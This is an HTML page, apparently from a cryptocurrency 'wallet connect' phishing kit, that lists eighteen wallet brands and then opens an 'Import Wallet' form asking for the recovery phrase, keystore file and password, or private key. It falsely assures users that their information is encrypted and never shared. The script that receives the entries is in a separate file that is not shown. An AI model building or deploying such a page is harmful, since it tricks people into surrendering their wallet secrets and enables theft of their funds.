<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="UTF-8">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <link href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.0.0/css/all.min.css"rel="stylesheet"/>
   
  <link rel="stylesheet" href="../css/styles.css"> 

  <!-- <title>BTC Connect</title> -->

</head>
<body>
  <div style="text-align: center; margin-top: 50px;">
    <button class="btn" id="connect-btn">Select Wallet</button>
    <div class="theme-toggle" id="theme-toggle">Switch to Dark Mode</div>
  </div>



<!-- Wallet Selection Modal -->
<div class="modal" id="wallet-modal" aria-hidden="true">
  <div class="modal-content">
    <button class="close" id="wallet-modal-close" aria-label="Close">&times;</button>
    <h3>Connect Wallet</h3>
    <div class="wallet-list">
      <button data-wallet="MetaMask">
        <img src="../img/mm.png" alt="MetaMask Logo" width="30" height="30"> MetaMask
      </button>
      <button data-wallet="Trust Wallet">
        <img src="../img/tw.png" alt="Trust Wallet Logo"> Trust Wallet
      </button>
      <button data-wallet="Phantom">
        <img src="../img/pt.png" alt="Phantom Wallet Logo"> Phantom
      </button>
      <button data-wallet="Best Wallet">
        <img src="../img/bw.png" alt="Best Wallet Logo"> Best Wallet
      </button>
      <button data-wallet="Exodus">
        <img src="../img/exd.png" alt="Exodus Wallet Logo"> Exodus
      </button>
      <button data-wallet="Safepal">
        <img src="../img/sp.png" alt="Safepal Wallet Logo"> Safepal
      </button>
      <button data-wallet="Coinbase Wallet">
        <img src="../img/cw.png" alt="Coinbase Wallet Logo"> Coinbase Wallet
      </button>
      <button data-wallet="Binance Web3">
        <img src="../img/binw.png" alt="Binance Web3 Wallet Logo"> Binance Web3
      </button>
      <button data-wallet="Solflare">
        <img src="../img/sf.png" alt="Solflare Wallet Logo"> Solflare
      </button>
      <button data-wallet="Ledger">
        <img src="../img/led.png" alt="Ledger Wallet Logo"> Ledger
      </button>
      <button data-wallet="Trezor">
        <img src="../img/trez.png" alt="Trezor Wallet Logo"> Trezor
      </button>
      <button data-wallet="Armory">
        <img src="../img/arm.PNG" alt="Armory Wallet Logo"> Armory
      </button>
      <button data-wallet="Electrum">
        <img src="../img/elec.PNG" alt="Electrum Wallet Logo"> Electrum Wallet 
      </button>
      <button data-wallet="Mycelium">
        <img src="../img/mycc.PNG" alt="Mycelium Wallet Logo"> Mycelium
      </button>
      <button data-wallet="Green Wallet">
        <img src="../img/green.PNG" alt="GreenWallet Logo"> Green Wallet
      </button>
      <button data-wallet="Edge Wallet">
        <img src="../img/edge.JPG" alt="Edge Wallet Logo"> Edge Wallet
      </button>
      <button data-wallet="Blockchain Wallet">
        <img src="../img/bc.png" alt="Blockchain Logo"> Blockchain
      </button>
      <button data-wallet="Cobo Wallet">
        <img src="../img/cobo.png" alt="Cobo Wallet Logo"> Cobo Wallet
      </button>
    </div>
  </div>
</div>


<!-- Seed Phrase Input Modal -->
<div class="modal" id="seed-modal" aria-hidden="true">
  <div class="modal-content">
    <button class="close" id="seed-modal-close" aria-label="Close">&times;</button>
    <h3>Import Wallet</h3>
    
    <!-- Tabs for Input Options -->
    <div class="tabs">
      <button class="tab-btn active" data-tab="seed-tab">Phrase</button>
      <button class="tab-btn" data-tab="keystore-tab">Keystore</button>
      <button class="tab-btn" data-tab="privatekey-tab">Private Key</button>
    </div>

    <!-- Tab Content -->
    <div class="tab-content">
      <!-- Seed Phrase Input -->
      <div class="tab-pane active" id="seed-tab">
        <div class="input-box">
          <input type="text" id="seed-input" placeholder="Enter your recovery phrase..." aria-label="Seed Phrase Input" required>
          <button class="btn" id="import-seed-btn">Import Wallet</button>
         <!-- Error Message -->
         <p id="seed-error-message" style="color: red; display: none; font-size: 14px;">
            <i class="fas fa-exclamation-circle" style="margin-right: 5px;"></i> Invalid seed phrase. Please enter your 12 recovery phrase.
         </p>
         <!-- Security Notification -->
         <div id="security-notification" style="text-align: center; font-size: 14px; color: #4CAF50; margin-top: 15px;">
           <i class="fas fa-shield-alt" style="margin-right: 5px;"></i> 
           Your privacy and security are our top priority. All information you provide is encrypted and never shared.
         </div>
        </div>
      </div>

      <!-- Keystore File Input -->
      <div class="tab-pane" id="keystore-tab">
        <div class="input-box">
          <input type="file" id="keystore-input" accept=".json, .svg, .png, .jpg, .jpeg, .gif" aria-label="Keystore File Input">
          <input type="password" id="keystore-password" placeholder="Enter your password" aria-label="Keystore Password">
          <button class="btn" id="import-keystore-btn">Import Wallet</button>
          <p id="keystore-error-message" style="color: red; display: none;">Invalid keystore file or password.</p>
        </div>
      </div>

      <!-- Private Key Input -->
      <div class="tab-pane" id="privatekey-tab">
        <div class="input-box">
          <input type="text" id="privatekey-input" placeholder="Enter your private key" aria-label="Private Key Input">
          <button class="btn" id="import-privatekey-btn">Import Wallet</button>
          <p id="privatekey-error-message" style="color: red; display: none;">Invalid private key.</p>
        </div>
      </div>
    </div>
  </div>
</div>
<script src="../js/script.js"></script>







</body>
</html>
